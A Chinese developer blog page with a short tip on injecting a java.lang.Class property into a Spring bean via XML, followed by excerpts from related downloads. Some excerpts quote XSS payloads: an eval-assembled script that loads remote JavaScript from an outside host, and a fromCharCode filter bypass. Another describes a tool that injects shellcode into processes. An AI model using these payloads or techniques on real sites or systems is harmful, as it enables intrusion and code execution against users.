`
sunxboy
  • 浏览: 2869010 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
社区版块
存档分类
最新评论

how to inject <class> type in spring

阅读更多

 

 

sample:

Class itemClass;

public Class getItemClass() {
return itemClass
}


public void setItemClass(Class itemClass) {
this.itemClass = itemClass;
}

 

Now inject itemClass property in spring:

<bean id="shampoo" class="com.test.Product">
<property name="itemClass">
<value type="java.lang.Class">com.myproducts.Shampoo</value>
</property>
</bean>

  

    it should work.

 

分享到:
评论

相关推荐

    Import REConstructor 1.7 FINAL

    It can also inject into your output executable, a loader which is able to fill the IAT with real pointers to API or a ripped code from the protector/packer (very useful against emulated API in a thunk...

    基于maven的scala与java相互调用的简单实例

    &lt;mainClass&gt;com.example.HelloJava&lt;/mainClass&gt; &lt;/manifest&gt; &lt;/archive&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; ``` 运行`mvn clean package`命令后,你会得到一个包含所有依赖的jar文件,可以直接...

    80.00-05-Vue组件间通信6种方式-jiye注解版1

    &lt;li v-for="user in users"&gt;{{user}}&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/template&gt; &lt;script&gt; export default { name: 'HelloWorld', props: { users: { type: Array, required: true } } } &lt;/script&gt; ``` 2. $emit / ...

    madCollection 2.5.6.0 安装版(无源码)

    You can choose whether you want to see an exception box or not, how the box should look like, which buttons it should have, how the buttons should be labeled and so on.&lt;br&gt;&lt;br&gt;The package "madKernel...

    oc-inject:WIP调试工具-将可执行文件复制到OpenShift容器并运行该可执行文件

    注入 $ ./oc-inject &lt;pod&gt; [-c &lt;container&gt;] &lt;executable&gt;$ ./oc-inject &lt;pod&gt; [-c &lt;container&gt;] -- &lt;executable&gt; &lt;args&gt;将可执行文件复制到容器并运行该可执行文件。 当容器映像中没有所需的调试工具时, oc-inject...

    Xss字符编码突破过滤方法总结

    &lt;script&gt;String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)&lt;/script&gt; 这种方法使用String.fromCharCode函数来将ASCII代码转换为字符串,以欺骗安全检查。 这9种XSS字符编码突破过滤...

    总结了-Vue3-的七种组件通信方式-别再说不会组件通信了.docx

    &lt;li v-for="item in list" :key="item"&gt;{{ item }}&lt;/li&gt; &lt;/ul&gt; &lt;/template&gt; &lt;script&gt; import { defineProps } from 'vue'; const props = defineProps({ type: Array, default: () =&gt; [] }); &lt;/script&gt; ``` 二...

    struts2 整合guice

    &lt;groupId&gt;com.google.inject&lt;/groupId&gt; &lt;artifactId&gt;guice&lt;/artifactId&gt; &lt;version&gt;4.x&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.google.inject.extensions&lt;/groupId&gt; &lt;artifactId&gt;guice-struts2&lt;/...

    spring2.5学习笔记

    &lt;bean id="beanInject" class="type.spring.inject.BeanInject"&gt; &lt;property name="strValue" value="Hello"/&gt; &lt;property name="intValue" value="123"/&gt; &lt;property name="listValue"&gt; &lt;list&gt; &lt;value&gt;list1&lt;/...

    javax-inject.jar.zip

    &lt;artifactId&gt;javax.inject&lt;/artifactId&gt; &lt;version&gt;1&lt;/version&gt; &lt;/dependency&gt; ``` 对于Gradle,则是: ```groovy implementation 'javax.inject:javax.inject:1' ``` 总的来说,`javax-inject.jar`为Java开发者...

    vue组件的复习,复习复习

    &lt;my-component @custom-event="handleCustomEvent"&gt;&lt;/my-component&gt; &lt;/div&gt; &lt;/template&gt; &lt;script&gt; import MyComponent from './MyComponent.vue'; export default { components: { MyComponent }, methods: { ...

    shellcode帮助工具,直接把exe转shellcode

    -in &lt;chars&gt; incude characters only -ep &lt;paras&gt; the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for ...

    Spring IOC之 使用JSR 330标准注解.docx

    &lt;artifactId&gt;javax.inject&lt;/artifactId&gt; &lt;version&gt;1&lt;/version&gt; &lt;/dependency&gt; ``` 然后,通过Spring的`@Component`扫描机制,可以找到并处理带有`@Named`注解的bean。 总结来说,Spring对JSR 330的支持提供了...

    xss跨站脚本攻击汇总

    //ww'&lt;/script&gt;&lt;script&gt;z=z+'w.shell'&lt;/script&gt;&lt;script&gt;z=z+'.net/1.'&lt;/script&gt;&lt;script&gt;z=z+'js&gt;&lt;/sc'&lt;/script&gt;&lt;script&gt;z=z+'ript&gt;")'&lt;/script&gt;&lt;script&gt;eval_r(z)&lt;/script&gt;,攻击者可以解决限制字符 inject 恶意脚本...

    inject-markup:将HTML注入网页

    &lt;ul class='c-list'&gt; &lt;li&gt;Lorem&lt;/li&gt; &lt;li&gt;Ipsum&lt;/li&gt; &lt;/ul&gt; ` ; injectMarkup ( fixture ) ; console . log ( document . body . innerHTML ) ; // &lt;ul class='c-list'&gt; // &lt;li&gt;Lorem&lt;/li&gt; // &lt;li&gt;Ipsum&lt;/li&gt; // ...

    spring data jpa1.7 中文

    return new JpaRepositoryImplementation&lt;&gt;(entityManager, Person.class); } } ``` - **独立使用**: - 如果不使用 Spring 容器,也可以独立地创建 Repository 实例。 - 示例: ```java EntityManager ...

    nutch2.2.1和Mysql 环境的搭建。。。。可以爬下url.但是不知道为什么还有很多空的值在数据库中,还有待.zip

    &lt;value&gt;org.apache.gora.mysql.store.MySQLDialect&lt;/value&gt; &lt;/property&gt; ``` 4. **生成 schema**: 使用 Nutch 提供的工具生成 MySQL 数据库的 schema。运行 `bin/nutch mysqlstore -url jdbc:mysql://localhost/...

    flyway-extends:Springboot的Flyway扩展

    这是什么? flyway的扩展包,在数据迁移期间支持动态列值 如何使用它? Maven依赖 &lt; dependency&gt; &lt; groupId&gt;com.fixiu&lt;/ groupId&gt; &lt; artifactId&gt;flyway-extends&lt;/ ... inject-class : com.fixiu.flyway.in

    在自己的网页里套上百度搜索引擎,谷歌搜索引擎,文本框中输入文字会显示下拉提示自动补全文字,点百度一下打开百度显示你搜索的文字.zip

    通常,这涉及到在网页中插入一个表单,包含一个输入框(`&lt;input&gt;` 元素)和一个提交按钮(`&lt;button&gt;` 或 `&lt;input type="submit"&gt;`)。当用户在输入框中键入内容并点击提交时,表单的数据会被发送到指定的搜索引擎...

Global site tag (gtag.js) - Google Analytics